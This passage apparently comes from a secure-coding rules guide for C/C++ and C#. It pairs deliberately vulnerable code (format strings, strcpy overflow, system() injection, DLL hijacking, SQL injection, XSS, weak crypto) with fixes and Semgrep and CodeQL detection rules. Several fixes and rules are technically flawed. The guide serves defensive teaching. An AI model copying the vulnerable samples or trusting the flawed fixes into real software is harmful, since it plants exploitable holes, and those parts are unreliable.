multiplication | division | modulus | shift) and (addition.getOperandType() = int() or subtraction.getOperandType() = int() or multiplication.getOperandType() = int() or division.getOperandType() = int() or modulus.getOperandType() = int() or shift.getOperandType() = int()) select addition, subtraction, multiplication, division, modulus, shift, "Potential integer overflow/underflow detected" as message } ``` ## Denial-of-Service (DoS) Noncompliant code: ```c #include void processRequest() { // Process the request // ... // Intentional infinite loop while (true) { // Perform some expensive operation // ... } } int main() { processRequest(); // Rest of the code... } ``` In the noncompliant code, the processRequest function contains an intentional infinite loop that performs an expensive operation. This can lead to a DoS vulnerability as it consumes excessive resources, such as CPU time, causing the application or system to become unresponsive. Compliant code: ```c #include void processRequest() { // Process the request // ... } int main() { processRequest(); // Rest of the code... } ``` The compliant code removes the intentional infinite loop from the processRequest function, ensuring that the application does not consume excessive resources and remains responsive. By eliminating the resource-intensive operation, the compliant code mitigates the DoS vulnerability. Semgrep: ``` ``` CodeQL: ``` ``` ## Format String Noncompliant code: ```c #include int main() { char* user_input = nullptr; std::cout << "Enter your name: "; std::cin >> user_input; // Noncompliant code printf(user_input); // Rest of the code... } ``` In the noncompliant code, the user's input is directly passed as a format string argument to the printf function. If the user input contains format specifiers, it can lead to a Format String vulnerability. An attacker can exploit this vulnerability to read or modify memory, execute arbitrary code, or crash the application. Compliant code: ```c #include int main() { char user_input[256]; std::cout << "Enter your name: "; std::cin >> user_input; // Compliant code std::cout << user_input << std::endl; // Rest of the code... } ``` The compliant code uses the std::cout stream to print the user's input, avoiding the direct use of the format string vulnerability. By using std::cout, the input is treated as a plain string and not interpreted as a format string. Semgrep: ``` rules: - id: format-string-vulnerability pattern: printf($format) message: Potential format string vulnerability detected ``` CodeQL: ``` import cpp from FunctionCall printfCall where printfCall.getTarget().hasName("printf") and printfCall.getArgument(0).getType().toString() = "char*" select printfCall, "Potential format string vulnerability detected" as message ``` ## Insecure Cryptography Noncompliant code: ```c #include #include std::string generateHash(const std::string& data) { unsigned char digest[MD5_DIGEST_LENGTH]; MD5((unsigned char*)data.c_str(), data.length(), digest); char hexDigest[MD5_DIGEST_LENGTH * 2 + 1]; for (int i = 0; i < MD5_DIGEST_LENGTH; ++i) { sprintf(hexDigest + (i * 2), "%02x", digest[i]); } return std::string(hexDigest); } int main() { std::string password = "myPassword"; std::string hashedPassword = generateHash(password); std::cout << "Hashed Password: " << hashedPassword << std::endl; // Rest of the code... } ``` In the noncompliant code, the MD5 hashing algorithm is used to generate a hash for a password. However, MD5 is considered insecure for cryptographic purposes due to its vulnerability to collision attacks and the availability of faster and more secure hashing algorithms. Using MD5 for password hashing can expose the application to security risks. Compliant code: ```c #include #include std::string generateHash(const std::string& data) { unsigned char digest[SHA256_DIGEST_LENGTH]; SHA256((unsigned char*)data.c_str(), data.length(), digest); char hexDigest[SHA256_DIGEST_LENGTH * 2 + 1]; for (int i = 0; i < SHA256_DIGEST_LENGTH; ++i) { sprintf(hexDigest + (i * 2), "%02x", digest[i]); } return std::string(hexDigest); } int main() { std::string password = "myPassword"; std::string hashedPassword = generateHash(password); std::cout << "Hashed Password: " << hashedPassword << std::endl; // Rest of the code... } ``` The compliant code addresses the insecure cryptography issue by replacing the use of MD5 with the more secure SHA-256 hashing algorithm. SHA-256 is considered stronger and more resistant to collision attacks. Semgrep: ``` rules: - id: insecure-cryptography pattern: MD5($data) message: Insecure cryptography algorithm (MD5) detected ``` CodeQL: ``` import cpp from FunctionCall md5Call where md5Call.getTarget().hasQualifiedName("MD5") select md5Call, "Insecure cryptography algorithm (MD5) detected" as message ``` ## Memory Corruption Noncompliant code: ```c #include void writeToMemory(char* buffer, const char* data, size_t length) { strcpy(buffer, data); // Noncompliant code buffer[length] = '\0'; // Noncompliant code } int main() { char buffer[10]; const char* data = "Hello, World!"; writeToMemory(buffer, data, strlen(data)); std::cout << "Buffer: " << buffer << std::endl; // Rest of the code... } ``` In the noncompliant code, the writeToMemory function uses the strcpy function to copy data into a buffer without proper bounds checking. This can result in buffer overflow, leading to memory corruption. Additionally, the code attempts to write a null terminator beyond the buffer's size, causing buffer over-read and potential memory corruption. Compliant code: ```c #include #include void writeToMemory(char* buffer, const char* data, size_t length) { strncpy(buffer, data, length); buffer[length - 1] = '\0'; } int main() { char buffer[10]; const char* data = "Hello, World!"; writeToMemory(buffer, data, sizeof(buffer)); std::cout << "Buffer: " << buffer << std::endl; // Rest of the code... } ``` The compliant code addresses the memory corruption issue by using strncpy instead of strcpy to copy data into the buffer, ensuring that the length is respected. The code also correctly sets the null terminator within the buffer's size limit. Semgrep: ``` rules: - id: memory-corruption pattern: strcpy($buffer, $data) message: Potential memory corruption (strcpy) detected ``` CodeQL: ``` import cpp from FunctionCall strcpyCall where strcpyCall.getTarget().hasName("strcpy") select strcpyCall, "Potential memory corruption (strcpy) detected" as message ``` ## Code Injection Noncompliant code: ```c #include void executeCommand(const std::string& command) { std::string fullCommand = "echo " + command; system(fullCommand.c_str()); // Noncompliant code } int main() { std::string userInput; std::cout << "Enter a command: "; std::cin >> userInput; executeCommand(userInput); // Rest of the code... } ``` In the noncompliant code, the executeCommand function constructs a command by concatenating user input with a fixed string and then passes it to the system function. This can lead to a Code Injection vulnerability as an attacker can manipulate the user input to execute arbitrary commands on the system. Compliant code: ```c #include void executeCommand(const std::string& command) { std::cout << "Executing command: " << command << std::endl; // Execute the command using a secure method // ... } int main() { std::string userInput; std::cout << "Enter a command: "; std::cin >> userInput; executeCommand(userInput); // Rest of the code... } ``` The compliant code eliminates the Code Injection vulnerability by not constructing the command string using user input and executing it with the system function. Instead, it uses a secure method to execute the command, which could involve implementing strict input validation, using an authorized command execution library, or utilizing system APIs with proper safeguards. Semgrep: ``` rules: - id: code-injection pattern: system($command) message: Potential code injection vulnerability detected ``` CodeQL: ``` import cpp from FunctionCall systemCall where systemCall.getTarget().hasName("system") select systemCall, "Potential code injection vulnerability detected" as message ``` ## DLL Hijacking Noncompliant code: ```c #include #include int main() { HMODULE hModule = LoadLibrary("evil.dll"); // Noncompliant code if (hModule != NULL) { // DLL loaded successfully, proceed with its usage // ... } // Rest of the code... } ``` In the noncompliant code, the LoadLibrary function is used to load a DLL named "evil.dll" without specifying the full path. This can lead to a DLL Hijacking vulnerability, as an attacker can place a malicious DLL with the same name in a location where the application searches for DLLs, resulting in the execution of unauthorized code. Compliant code: ```c #include #include int main() { std::string dllPath = "C:\\path\\to\\safe.dll"; HMODULE hModule = LoadLibrary(dllPath.c_str()); if (hModule != NULL) { // DLL loaded successfully, proceed with its usage // ... } // Rest of the code... } ``` The compliant code addresses the DLL Hijacking vulnerability by specifying the full path to the DLL being loaded with the LoadLibrary function. By providing the full path, the application ensures that it loads the intended DLL and prevents the possibility of loading a malicious DLL from an unauthorized location. Semgrep: ``` rules: - id: dll-hijacking pattern: LoadLibrary($dllName) message: Potential DLL Hijacking vulnerability detected ``` CodeQL: ``` import cpp from FunctionCall loadLibraryCall where loadLibraryCall.getTarget().hasName("LoadLibrary") select loadLibraryCall, "Potential DLL Hijacking vulnerability detected" as message ``` ## Use After Free Noncompliant code: ```c #include int* createObject() { return new int(5); } int main() { int* ptr = createObject(); delete ptr; std::cout << "Value: " << *ptr << std::endl; // Noncompliant code // Rest of the code... } ``` In the noncompliant code, an object is dynamically allocated using new and assigned to the pointer ptr. Later, delete is called to deallocate the object, making the pointer ptr a dangling pointer. The noncompliant code attempts to dereference the dangling pointer by accessing the freed memory, leading to Use After Free, as the memory is no longer valid. Compliant code: ```c #include int* createObject() { return new int(5); } int main() { int* ptr = createObject(); std::cout << "Value: " << *ptr << std::endl; delete ptr; // Deallocate the memory // Rest of the code... } ``` The compliant code ensures that the pointer ptr is dereferenced before the associated memory is deallocated. After printing the value, the memory is freed using delete, preventing Use After Free vulnerabilities. Semgrep: ``` rules: - id: use-after-free pattern: "$expr" message: Potential use after free detected ``` CodeQL: ``` import cpp from DestructorCall destructor where exists(destructor.getDestructorMethod().getQualifiedName()) select destructor, "Potential use after free detected" as message ``` ## Uninitialized Variables Noncompliant code: ```c #include int main() { int value; std::cout << "Value: " << value << std::endl; // Noncompliant code // Rest of the code... } ``` In the noncompliant code, the variable value is declared but not initialized. It is then used in the std::cout statement without assigning a value to it. This leads to reading uninitialized memory, resulting in undefined behavior and potential security vulnerabilities. Compliant code: ```c #include int main() { int value = 0; // Initialize the variable std::cout << "Value: " << value << std::endl; // Rest of the code... } ``` The compliant code initializes the variable value to a specific value (in this case, 0) before using it. By providing an initial value, we ensure that the variable is properly initialized and avoids potential issues related to reading uninitialized memory. Semgrep: ``` rules: - id: uninitialized-variable pattern: $variable message: Potential uninitialized variable usage detected ``` CodeQL: ``` import cpp from VariableAccess access where not exists(access.getInitializer()) select access, "Potential uninitialized variable usage detected" as message ``` ## Race Conditions Noncompliant code: ```c #include #include int balance = 100; void withdrawMoney(int amount) { if (balance >= amount) { // Simulate some delay or expensive operation std::this_thread::sleep_for(std::chrono::milliseconds(100)); balance -= amount; std::cout << "Withdrawal successful. Remaining balance: " << balance << std::endl; } else { std::cout << "Insufficient balance." << std::endl; } } int main() { std::thread t1(withdrawMoney, 50); std::thread t2(withdrawMoney, 70); t1.join(); t2.join(); // Rest of the code... } ``` In the noncompliant code, two threads t1 and t2 are concurrently accessing and modifying the shared variable balance without proper synchronization. This can result in a Race Condition, where the outcome of the program becomes non-deterministic and dependent on the timing of thread execution. It can lead to inconsistent or incorrect results, such as incorrect balance updates or data corruption. Compliant code: ```c #include #include #include int balance = 100; std::mutex balanceMutex; void withdrawMoney(int amount) { std::lock_guard lock(balanceMutex); if (balance >= amount) { // Simulate some delay or expensive operation std::this_thread::sleep_for(std::chrono::milliseconds(100)); balance -= amount; std::cout << "Withdrawal successful. Remaining balance: " << balance << std::endl; } else { std::cout << "Insufficient balance." << std::endl; } } int main() { std::thread t1(withdrawMoney, 50); std::thread t2(withdrawMoney, 70); t1.join(); t2.join(); // Rest of the code... } ``` The compliant code addresses the Race Condition by introducing a mutex (balanceMutex) and using a lock guard (std::lock_guard) to ensure exclusive access to the critical section where the balance variable is modified. The mutex ensures that only one thread can access the critical section at a time, preventing concurrent modifications and guaranteeing consistent and correct results. Semgrep: ``` rules: - id: race-condition pattern: $variable = $variable $operation $value message: Potential race condition detected ``` CodeQL: ``` import cpp from Assignment assignment where exists(assignment.getTarget()) select assignment, "Potential race condition detected" as message ``` ## Insecure File Operations Noncompliant code: ```c #include #include void writeToFile(const std::string& data) { std::ofstream file("data.txt"); // Noncompliant code if (file.is_open()) { file << data; file.close(); } } int main() { std::string userInput; std::cout << "Enter data: "; std::cin >> userInput; writeToFile(userInput); // Rest of the code... } ``` In the noncompliant code, the writeToFile function writes user-supplied data to a file named "data.txt" without specifying the full path. This can lead to Insecure File Operations, as an attacker can manipulate the file location or overwrite sensitive files by controlling the current working directory or using relative paths. Compliant code: ```c #include #include void writeToFile(const std::string& data) { std::string filePath = "/path/to/data.txt"; // Specify the full path std::ofstream file(filePath); if (file.is_open()) { file << data; file.close(); } } int main() { std::string userInput; std::cout << "Enter data: "; std::cin >> userInput; writeToFile(userInput); // Rest of the code... } ``` The compliant code addresses Insecure File Operations by specifying the full path to the file being accessed or modified. By providing the full path, the application ensures that it performs file operations on the intended file and prevents the possibility of unauthorized access, file overwrites, or unintended data disclosure. Semgrep: ``` rules: - id: insecure-file-operations pattern: ofstream($filename) message: Potential insecure file operation detected ``` CodeQL: ``` import cpp from Constructor ofstreamConstructor where exists(ofstreamConstructor.getArgument(0)) select ofstreamConstructor, "Potential insecure file operation detected" as message ``` ## API Hooking Noncompliant code: ```c #include #include typedef BOOL(WINAPI* OriginalMessageBox)(HWND, LPCTSTR, LPCTSTR, UINT); BOOL WINAPI HookedMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) { // Perform malicious actions // ... // Call the original MessageBox function OriginalMessageBox originalFunc = (OriginalMessageBox)GetProcAddress(GetModuleHandle("user32.dll"), "MessageBoxA"); return originalFunc(hWnd, lpText, lpCaption, uType); } int main() { OriginalMessageBox originalFunc = (OriginalMessageBox)GetProcAddress(GetModuleHandle("user32.dll"), "MessageBoxA"); MessageBox = HookedMessageBox; // Noncompliant code // Rest of the code... } ``` In the noncompliant code, API Hooking is implemented by replacing the original function pointer with a custom function, HookedMessageBox. The custom function performs malicious actions and then calls the original function. This allows an attacker to intercept and modify the behavior of the MessageBox function, potentially leading to unauthorized access or manipulation of data. Compliant code: ```c #include #include typedef BOOL(WINAPI* OriginalMessageBox)(HWND, LPCTSTR, LPCTSTR, UINT); BOOL WINAPI HookedMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) { // Perform additional actions before or after calling the original MessageBox function // ... // Call the original MessageBox function OriginalMessageBox originalFunc = (OriginalMessageBox)GetProcAddress(GetModuleHandle("user32.dll"), "MessageBoxA"); return originalFunc(hWnd, lpText, lpCaption, uType); } int main() { // Use the original function pointer directly OriginalMessageBox originalFunc = (OriginalMessageBox)GetProcAddress(GetModuleHandle("user32.dll"), "MessageBoxA"); originalFunc(NULL, "Hello", "Message", MB_OK); // Rest of the code... } ``` The compliant code does not implement API Hooking. Instead, it uses the original function pointer directly to call the MessageBox function. This ensures that the original behavior of the API is maintained and prevents unauthorized interception or modification of the function. Semgrep: ``` rules: - id: api-hooking pattern: $function = $hookFunction message: Potential API Hooking vulnerability detected ``` CodeQL: ``` import cpp from FunctionPointerAssignment functionPointerAssignment where exists(functionPointerAssignment.getTarget()) and exists(functionPointerAssignment.getAssignment()) select functionPointerAssignment, "Potential API Hooking vulnerability detected" as message ``` ## TOCTOU Noncompliant code: ```c #include #include bool isFileWritable(const std::string& filename) { std::ofstream file(filename); return file.good(); // Noncompliant code } int main() { std::string filename = "data.txt"; if (isFileWritable(filename)) { std::ofstream file(filename); file << "Data"; // Noncompliant code file.close(); std::cout << "File written successfully." << std::endl; } else { std::cout << "File is not writable." << std::endl; } // Rest of the code... } ``` In the noncompliant code, the function isFileWritable attempts to check if a file is writable by creating an ofstream object and checking its state. However, between the time of checking and the time of using the file, the file can be modified externally. This leads to a Time-of-Check Time-of-Use (TOCTOU) vulnerability, as the file's state can change after the check is performed but before the file is used. Compliant code: ```c #include #include bool isFileWritable(const std::string& filename) { std::ifstream file(filename); return file.good(); } int main() { std::string filename = "data.txt"; if (isFileWritable(filename)) { std::ofstream file(filename); file << "Data"; file.close(); std::cout << "File written successfully." << std::endl; } else { std::cout << "File is not writable." << std::endl; } // Rest of the code... } ``` The compliant code avoids the TOCTOU vulnerability by modifying the code flow. Instead of checking if the file is writable and then performing the write operation, it directly attempts to open the file for writing. If the file is not writable, the appropriate error handling can be performed. This eliminates the window between the check and use where the file's state can change. Semgrep: ``` rules: - id: toctou pattern: | $check = $expr; $use message: Potential TOCTOU vulnerability detected ``` CodeQL: ``` import cpp from Assignment assignment, MethodCall methodCall where assignment.getTarget() = methodCall.getReturnedExpr() and methodCall.getName().getText() = "good" select assignment, "Potential TOCTOU vulnerability detected" as message ``` ================================================ FILE: docs/rules/csharp.md ================================================ --- layout: default title: Csharp parent: Rules --- # Csharp {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ## Exposure of sensitive information Noncompliant code: ```php using System; class Program { static void Main() { try { // Simulating an error throw new Exception("An error occurred: Sensitive information"); } catch (Exception ex) { Console.WriteLine(ex.Message); } } } ``` In this noncompliant code, the throw statement intentionally generates an exception with an error message that includes sensitive information, such as a database connection string, a password, or any other confidential data. The error message is then printed to the console, potentially exposing sensitive information to unauthorized users or attackers. To address this issue and prevent the exposure of sensitive information via error messages, here's an example of compliant code: Compliant code: ```php using System; class Program { static void Main() { try { // Simulating an error throw new Exception("An error occurred"); } catch (Exception ex) { Console.WriteLine("An unexpected error occurred"); // Log the exception for debugging or monitoring purposes LogException(ex); } } static void LogException(Exception ex) { // Log the exception to a secure log file or logging service // Include necessary information for debugging, but avoid sensitive data Console.WriteLine("Error occurred: " + ex.ToString()); } } ``` In the compliant code, the error message intentionally omits any sensitive information and provides a generic error message instead. The sensitive information is logged on the server side for debugging or monitoring purposes, but it is not exposed to the user or client. By ensuring that error messages do not contain sensitive information, the compliant code reduces the risk of exposing confidential data to potential attackers or unauthorized users. Semgrep: ``` rules: - id: sensitive-information-exposure patterns: - pattern: 'catch \(Exception ex\)\n\s+Console\.WriteLine\(ex\.Message\);' message: "Sensitive information exposure in exception handling" ``` CodeQL: ``` import csharp from TryCatchStatement tryCatch where exists(CatchClause catchClause | catchClause.getParameter().getType().toString() = "System.Exception" and exists(MethodInvocation println | println.getTarget().toString() = "System.Console.WriteLine" and println.getArgument(0).toString().indexOf("ex.Message") >= 0 ) ) select tryCatch ``` ## Insertion of Sensitive Information Into Sent Data Noncompliant code: ```php using System; using System.Net; using System.Net.Mail; class Program { static void Main() { string username = "user"; string password = "password"; string recipient = "example@example.com"; string sensitiveData = "Sensitive information"; using (var client = new SmtpClient("smtp.example.com", 587)) { client.EnableSsl = true; client.Credentials = new NetworkCredential(username, password); var message = new MailMessage("sender@example.com", recipient, "Subject", "Body: " + sensitiveData); client.Send(message); } } } ``` In this noncompliant code, the sensitive information (stored in the sensitiveData variable) is concatenated with the email body without any encryption or obfuscation. This means that the sensitive data is directly included in the sent data without any protection, which can lead to potential exposure or unauthorized access to the information. To address this issue and ensure the protection of sensitive information in sent data, here's an example of compliant code: Compliant code: ```php using System; using System.Net; using System.Net.Mail; class Program { static void Main() { string username = "user"; string password = "password"; string recipient = "example@example.com"; string sensitiveData = "Sensitive information"; using (var client = new SmtpClient("smtp.example.com", 587)) { client.EnableSsl = true; client.Credentials = new NetworkCredential(username, password); var message = new MailMessage("sender@example.com", recipient, "Subject", "Body"); // Attach the sensitive data as a secure attachment var attachment = new Attachment(sensitiveData); message.Attachments.Add(attachment); client.Send(message); } } } ``` In the compliant code, instead of directly inserting the sensitive information into the email body, it is attached as a secure attachment. This helps to protect the sensitive data during transmission, ensuring that it is not exposed in the sent data. By properly handling sensitive information and avoiding direct insertion into sent data, the compliant code enhances the security and privacy of the sensitive data, reducing the risk of unauthorized access or exposure. Semgrep: ``` rules: - id: sensitive-information-exposure patterns: - pattern: 'new MailMessage\(.+\, ".+"\, ".+"\, "Body: .+"\)' message: "Sensitive information exposure in email communication" ``` CodeQL: ``` import csharp from ObjectCreation messageCreation where messageCreation.getType().toString() = "System.Net.Mail.MailMessage" and messageCreation.getArgument(3).toString().indexOf("Body:") >= 0 select messageCreation ``` ## Cross-Site Request Forgery (CSRF) Noncompliant code: ```php using System; using System.Web.UI; public partial class MyPage : Page { protected void Page_Load(object sender, EventArgs e) { // Noncompliant code: No CSRF protection implemented if (Request.QueryString["action"] == "delete") { string id = Request.QueryString["id"]; // Delete the record with the given ID // ... } } } ``` In this noncompliant code, the page performs a delete action based on a query parameter action and an ID specified in the query parameter id. However, there is no CSRF protection implemented, which means that an attacker can craft a malicious link or form on a different website that performs a delete action on behalf of the user without their consent. To address this issue and implement CSRF protection, here's an example of compliant code: Compliant code: ```php using System; using System.Web.UI; public partial class MyPage : Page { protected void Page_Load(object sender, EventArgs e) { if (IsPostBack) { // Verify CSRF token if (ValidateCsrfToken()) { // Process the request if (Request.QueryString["action"] == "delete") { string id = Request.QueryString["id"]; // Delete the record with the given ID // ... } } else { // CSRF token validation failed, handle the error // ... } } else { // Generate and store CSRF token in session or view state GenerateCsrfToken(); } } private bool ValidateCsrfToken() { // Retrieve CSRF token from session or view state string csrfToken = Session["CsrfToken"] as string; // Compare the CSRF token from the request with the stored token string requestToken = Request.Form["__RequestVerificationToken"]; return csrfToken == requestToken; } private void GenerateCsrfToken() { // Generate a unique CSRF token string csrfToken = Guid.NewGuid().ToString(); // Store the CSRF token in session or view state Session["CsrfToken"] = csrfToken; // Include the CSRF token in the rendered HTML Page.ClientScript.RegisterHiddenField("__RequestVerificationToken", csrfToken); } } ``` In the compliant code, CSRF protection is implemented using a unique CSRF token. The token is generated and stored in the session or view state when the page is loaded. On subsequent requests, the token is validated to ensure that the request originated from the same site and not from an attacker's site. By implementing CSRF protection, the compliant code prevents unauthorized actions by verifying the integrity of the requests and ensuring that they are originated from the legitimate user. This helps to protect against CSRF attacks and improves the security of the application. Semgrep: ``` rules: - id: csrf-vulnerability patterns: - pattern: 'if \(Request\.QueryString\["action"\] == "delete"\)' message: "Potential CSRF vulnerability" ``` CodeQL: ``` import csharp from MethodDeclaration method where method.getName() = "Page_Load" and exists(BinaryExpression binaryExpr | binaryExpr.getOperator().toString() = "==" and binaryExpr.getLeftOperand().toString() = "Request.QueryString[\"action\"]" and binaryExpr.getRightOperand().toString() = "\"delete\"" ) select method ``` ## Use of Hard-coded Password Noncompliant code: ```php using System; using System.Data.SqlClient; public class DatabaseConnector { private string connectionString = "Server=myServerAddress;Database=myDatabase;User Id=myUsername;Password=myPassword;"; public void Connect() { using (SqlConnection connection = new SqlConnection(connectionString)) { // Connect to the database connection.Open(); // Perform database operations // ... } } } ``` In this noncompliant code, the database connection string contains a hard-coded password. Storing sensitive information like passwords directly in the source code poses a security risk, as the password can be easily discovered if the code is accessed or leaked. To address this issue and implement a more secure approach, here's an example of compliant code: Compliant code: ```php using System; using System.Configuration; using System.Data.SqlClient; public class DatabaseConnector { private string connectionString = ConfigurationManager.ConnectionStrings["MyConnectionString"].ConnectionString; public void Connect() { using (SqlConnection connection = new SqlConnection(connectionString)) { // Connect to the database connection.Open(); // Perform database operations // ... } } } ``` In the compliant code, the password is not hard-coded in the source code. Instead, it is stored in a secure configuration file (e.g., web.config or app.config) and accessed using the ConfigurationManager class. The configuration file should be properly protected and access should be restricted to authorized personnel. By removing the hard-coded password and storing it in a secure configuration file, the compliant code improves the security of the application by preventing unauthorized access to sensitive information. Semgrep: ``` rules: - id: sensitive-information-exposure patterns: - pattern: 'private string connectionString = "Server=.+;Database=.+;User Id=.+;Password=.+;"' message: "Sensitive information exposure in database connection string" ``` CodeQL: ``` import csharp from FieldDeclaration field where field.getType().toString() = "System.String" and field.getInitializer().toString().indexOf("Server=") >= 0 and field.getInitializer().toString().indexOf("Database=") >= 0 and field.getInitializer().toString().indexOf("User Id=") >= 0 and field.getInitializer().toString().indexOf("Password=") >= 0 select field ``` ## Broken or Risky Crypto Algorithm Noncompliant code: ```php using System; using System.Security.Cryptography; public class CryptoUtils { public string Encrypt(string data, string key) { byte[] dataBytes = System.Text.Encoding.UTF8.GetBytes(data); byte[] keyBytes = System.Text.Encoding.UTF8.GetBytes(key); TripleDESCryptoServiceProvider desCryptoProvider = new TripleDESCryptoServiceProvider(); desCryptoProvider.Key = keyBytes; desCryptoProvider.Mode = CipherMode.ECB; // Using ECB mode, which is insecure desCryptoProvider.Padding = PaddingMode.PKCS7; ICryptoTransform encryptor = desCryptoProvider.CreateEncryptor(); byte[] encryptedData = encryptor.TransformFinalBlock(dataBytes, 0, dataBytes.Length); encryptor.Dispose(); desCryptoProvider.Clear(); return Convert.ToBase64String(encryptedData); } } ``` In this noncompliant code, the TripleDESCryptoServiceProvider class is used with the ECB (Electronic Codebook) mode, which is known to be insecure. ECB mode does not provide proper encryption, as it encrypts each block of data independently, leading to potential vulnerabilities. To address this issue and use a more secure cryptographic algorithm, here's an example of compliant code: Compliant code: ```php using System; using System.Security.Cryptography; public class CryptoUtils { public string Encrypt(string data, string key) { string Result = ""; byte[] keyBytes = Encoding.UTF8.GetBytes(key); byte[] dataBytes = Encoding.UTF8.GetBytes(data); using (var aes = Aes.Create()) { aes.Key = keyBytes; aes.Mode = CipherMode.CBC; //Better security aes.Padding = PaddingMode.PKCS7; aes.GenerateIV(); //Generate a random IV (Init Vector) for each encryption using var encryptor = aes.CreateEncryptor(); Result = Convert.ToBase64String(aes.IV.Concat(encryptor.TransformFinalBlock(dataBytes, 0, dataBytes.Length)).ToArray()); } return Result; } public string Decrypt(string encryptedData, string key) { string Result = ""; byte[] keyBytes = Encoding.UTF8.GetBytes(key); byte[] encryptedBytesWithIV = Convert.FromBase64String(encryptedData); using (var aes = Aes.Create()) { aes.Key = keyBytes; aes.Mode = CipherMode.CBC; //Better security aes.Padding = PaddingMode.PKCS7; //Extract IV from the encrypted data aes.IV = encryptedBytesWithIV.Take(aes.BlockSize / 8).ToArray(); //Set IV for decryption byte[] encryptedBytes = encryptedBytesWithIV.Skip(aes.BlockSize / 8).ToArray(); using var decryptor = aes.CreateDecryptor(); Result = Encoding.UTF8.GetString(decryptor.TransformFinalBlock(encryptedBytes, 0, encryptedBytes.Length)); } return Result; } } ``` In the compliant code, the AesCryptoServiceProvider class is used with the CBC (Cipher Block Chaining) mode, which is more secure than ECB mode. Additionally, proper disposal of cryptographic objects is implemented using the using statement to ensure proper resource management. By using a secure cryptographic algorithm like AES with CBC mode, the compliant code improves the security of the encryption process, making it resistant to known cryptographic vulnerabilities. Semgrep: ``` rules: - id: insecure-encryption-mode patterns: - pattern: 'desCryptoProvider.Mode = CipherMode\.ECB' message: "Insecure encryption mode (ECB) detected" ``` CodeQL: ``` import csharp from Assignment assignment where assignment.getRightOperand().toString() = "CipherMode.ECB" select assignment ``` ## Insufficient Entropy Noncompliant code: ```php using System; public class RandomNumberGenerator { public int GenerateRandomNumber(int minValue, int maxValue) { Random random = new Random(); return random.Next(minValue, maxValue); } } ``` In this noncompliant code, the Random class from the System namespace is used to generate random numbers. However, the Random class uses a time-based seed by default, which can result in predictable and easily guessable random numbers. This is because the seed value is based on the current system time, which can be easily determined or even repeated if the code is executed within a short time span. To address this issue and improve the entropy of the random number generation, here's an example of compliant code: Compliant code: ```php using System; using System.Security.Cryptography; public class RandomNumberGenerator { public int GenerateRandomNumber(int minValue, int maxValue) { using (RNGCryptoServiceProvider rngCryptoProvider = new RNGCryptoServiceProvider()) { byte[] randomBytes = new byte[4]; rngCryptoProvider.GetBytes(randomBytes); int randomNumber = BitConverter.ToInt32(randomBytes, 0); return Math.Abs(randomNumber % (maxValue - minValue + 1)) + minValue; } } } ``` In the compliant code, the RNGCryptoServiceProvider class from the System.Security.Cryptography namespace is used to generate random bytes with sufficient entropy. These random bytes are then converted into an integer using BitConverter.ToInt32 method. By utilizing a cryptographic random number generator, we ensure a higher degree of entropy and reduce the predictability of the generated numbers. The compliant code provides a more secure and random number generation mechanism, making it suitable for applications that require unpredictable and non-reproducible random values. Semgrep: ``` rules: - id: random-without-seed patterns: - pattern: 'new Random\(\)' message: "Random number generator initialized without a specified seed" ``` CodeQL: ``` import csharp from ObjectCreation randomCreation, MethodAccess randomNextAccess where randomCreation.getType().toString() = "System.Random" and randomNextAccess.getTarget().toString() = randomCreation.toString() and not exists(Expression seedArg | randomCreation.getArguments() = seedArg and seedArg.toString().startsWith("new Random(") ) select randomCreation ``` ## XSS Noncompliant code: ```php using System; public class UserInputProcessor { public string ProcessUserInput(string userInput) { string sanitizedInput = userInput.Replace("<", "<").Replace(">", ">"); return sanitizedInput; } } ``` In this noncompliant code, the ProcessUserInput method attempts to sanitize user input by replacing the < and > characters with their corresponding HTML entities (< and >). However, this approach is insufficient to prevent XSS attacks because it only focuses on these specific characters and fails to handle other potentially malicious input. To address this issue and properly protect against XSS attacks, here's an example of compliant code: Compliant code: ```php using System; using System.Web; public class UserInputProcessor { public string ProcessUserInput(string userInput) { string sanitizedInput = HttpUtility.HtmlEncode(userInput); return sanitizedInput; } } ``` In the compliant code, the HtmlEncode method from the System.Web namespace is used to properly encode the user input. This method replaces special characters with their corresponding HTML entities, ensuring that the input is rendered as plain text rather than interpreted as HTML or JavaScript code. By using HtmlEncode, the compliant code mitigates the risk of XSS attacks by encoding all potentially dangerous characters in the user input, making it safe to display the input on web pages without the risk of executing unintended scripts. It's important to note that the best approach to prevent XSS attacks is to use contextual output encoding at the point of rendering, rather than relying solely on input sanitization. This ensures that the output is properly encoded based on the context in which it is being used, such as HTML attributes, JavaScript, or CSS, providing robust protection against XSS vulnerabilities. Semgrep: ``` rules: - id: xss-sanitization patterns: - pattern: 'Replace\(\"<\"' message: "Potential XSS vulnerability: User input not properly sanitized" ``` CodeQL: ``` import csharp from MethodInvocation replaceMethod where replaceMethod.getTarget().toString() = "userInput.Replace" select replaceMethod ``` ## SQL Injection Noncompliant code: ```php using System; using System.Data.SqlClient; public class UserLogin { public bool AuthenticateUser(string username, string password) { string query = "SELECT COUNT(*) FROM Users WHERE Username='" + username + "' AND Password='" + password + "'"; using (SqlConnection connection = new SqlConnection("Data Source=example.com;Initial Catalog=MyDB;User ID=sa;Password=pass123")) { SqlCommand command = new SqlCommand(query, connection); connection.Open(); int count = (int)command.ExecuteScalar(); return count > 0; } } } ``` In this noncompliant code, the AuthenticateUser method constructs a SQL query by directly concatenating the username and password values into the query string. This approach is highly vulnerable to SQL injection attacks, as an attacker can manipulate the input to execute arbitrary SQL commands. To prevent SQL injection attacks and ensure secure database interactions, here's an example of compliant code: Compliant code: ```php using System; using System.Data.SqlClient; public class UserLogin { public bool AuthenticateUser(string username, string password) { string query = "SELECT COUNT(*) FROM Users WHERE Username=@Username AND Password=@Password"; using (SqlConnection connection = new SqlConnection("Data Source=example.com;Initial Catalog=MyDB;User ID=sa;Password=pass123")) { SqlCommand command = new SqlCommand(query, connection); command.Parameters.AddWithValue("@Username", username); command.Parameters.AddWithValue("@Password", password); connection.Open(); int count = (int)command.ExecuteScalar(); return count > 0; } } } ``` In the compliant code, parameterized queries are used to handle user input securely. The query string includes placeholders (@Username and @Password) for the input values. The actual values are then provided using the AddWithValue method on the SqlCommand object, which adds the values as parameters rather than concatenating them directly into the query. By using parameterized queries, the compliant code ensures that the user input is treated as data rather than executable code, effectively preventing SQL injection attacks. The database engine handles the proper escaping and sanitization of the input values, keeping the application secure. Semgrep: ``` rules: - id: sql-injection patterns: - pattern: 'SELECT .* FROM .* WHERE .*' message: "Potential 